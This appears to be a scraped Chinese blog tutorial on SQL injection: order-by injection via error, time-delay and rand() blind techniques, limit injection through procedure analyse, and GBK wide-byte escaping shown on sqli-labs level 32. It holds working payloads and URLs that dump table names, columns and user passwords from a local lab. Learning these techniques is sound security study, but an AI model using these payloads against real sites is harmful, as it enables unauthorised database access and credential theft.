当前位置:网站首页>SQL注入基础---order by \ limit \ 宽字节注入
SQL注入基础---order by \ limit \ 宽字节注入
2022-08-10 23:35:00 【抱小猫】
目录
order by
(1)order by 注入存在原因
order by 子句在MySQL中可以猜测表中的列数,再配合union select语句进行回显。
但是,当页面出现MySQL报错信息时,且order by后面有可控参数,此时就可以利用报错信息进行注入
(2)案例1:利用报错函数注入
select * from users order by updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1);
(3)案例2:利用延时函数注入
select * from users order by if(concat(0x7e,user(),0x7e),1,sleep(3));
延迟时间不是3秒,而是查询的数据条数*3=总共的延时时间
当SQL语句为真时就会有延迟,SQL语句为假时是以正常时间显示。
(4)案例3:利用rand()盲注
rand()函数产生的随机数是0到1之间,但是当给rand()函数一个参数时,这个参数就变成一个种子,这个种子生成的0到1之间的随机数是固定不变的

我们发现rand()参数为0或1时,我们使用布尔盲注再次测试
select * from users order by rand(ascii(mid((select database()),1,1))=8);
(5)案例4:if进行盲注
当if语句有效时输出为乱序,当if语句无效时输出不会改变顺序。

limit注入
(1)limit使用介绍
limit[位置偏移量,]行数:位置偏移量指MySQL查询分析器开始显示的函数,行数指指示返回的记录条数。
基本使用: select * from users limit 1,4;

在limit后面可以跟两个函数,procedure 和 into,into除非有写入shell的权限,否则是无法利用的,那么我们就自能从procedure找突破口。
benchmark函数有两个参数,第一个是执行次数,第二个是要测试的函数或者表达式
比如 benchmark(10000000,函数(1))

意思是执行表达式10000000次, 使mysql运算量增大而导致延时,类似与多表联合查询/笛卡尔积。
(2)案例
select * from users limit 1 procedure analyse(extractvalue(rand(),concat(0x3a,benchmark(10000000,user()))),1);宽字节注入
(1)什么是宽字节?
宽字节的字符大小为两个字节,像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,注意所有英文默认占用一个字节,中文占用两个字节。
(2)宽字节中常见转义函数
addslashes() 函数:返回在预定义字符之前添加反斜杠的字符串
mysql_real_escape_string() 函数:转义 SQL 语句中使用的字符串中的特殊字符
mysql_escape_string() 函数:转义一个字符串
(3)案例:sqli-labs第32关

可以看出单引号被转义了,查看源码

我们在1的后面加上%df
1、那为什么加上%df就把单引号逃逸出来了呢?
这涉及到了mysql的特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而单引号逃逸了出来。
2、但是MySQL是如何判断字符或汉字的呢?
根据gbk编码,第一个字节ascii码大于128,基本上就可以判断。比如我们将%df换成%a1

这样单引号逃逸出来后我们就可以查询数据库中的数据了
1、获得数据库中的表
http://127.0.0.1/sqli/Less-32/?id=-1%a1%27%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())--+
2、获得users表中的字段
http://127.0.0.1/sqli/Less-32/?id=-1%df%27%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273)--+
3、获取用户和用户密码
http://127.0.0.1/sqli/Less-32/?id=-1%df%27%20union%20select%201,2,(select%20group_concat(username,password)%20from%20security.users)--+
边栏推荐
- DASCTF X SU 2022 writeup
- 【C语言】猜数字游戏的实现
- HGAME 2022 Week4 writeup
- 15. 拦截器-HandlerInterceptor
- 高精度减法
- 使用PageHelper自定义PageInfo进行分页+模糊查询
- Timers, synchronous and asynchronous APIs, file system modules, file streams
- Google Chrome73~81版本浏览器的跨域问题解决方案
- Easy-to-use translation plug-in - one-click automatic translation plug-in software
- Pengcheng Cup 2022 web/misc writeup
猜你喜欢
随机推荐
矩阵的迹(详解)
基于Web的疫情隔离区订餐系统
vr工业操作培训模拟系统可以应用到哪些场景中
祥云杯 2021 PackageManager writeup
如何快速把握行业机会,更高效地推陈出新,是一个重要的命题
C3604环保黄铜带
怼不过产品经理?因为你不懂DDD领域建模与架构设计
HFCTF 2021 Internal System writeup
三栏布局实现
[C language articles] Expression evaluation (implicit type conversion, arithmetic conversion)
编程语言为什么有变量类型这个概念?
开启新征程——枫叶先生第一篇博客
小程序制作开发应遵循哪些原则?
Rust从入门到精通05-语句和表达式
DASCTF 2022 7月赋能赛 writeup
【C语言篇】操作符之 位运算符详解(“ << ”,“ >> ”,“ & ”,“ | ”,“ ^ ”,“ ~ ”)
Excel English automatic translation into Chinese tutorial
Geogebra 教程之 01 什么是Geogebra,真的可以提高我们数学水平么?
proxy代理服务_2
逮到一个阿里 10 年老 测试开发,聊过之后收益良多...
![[C language] Implementation of guessing number game](/img/5d/13e8c409f9e53ccc53a15a7f1e0fea.png)




![[C language] binary search (half search)](/img/24/4e7b54963ac9df4a3244232c32c435.png)



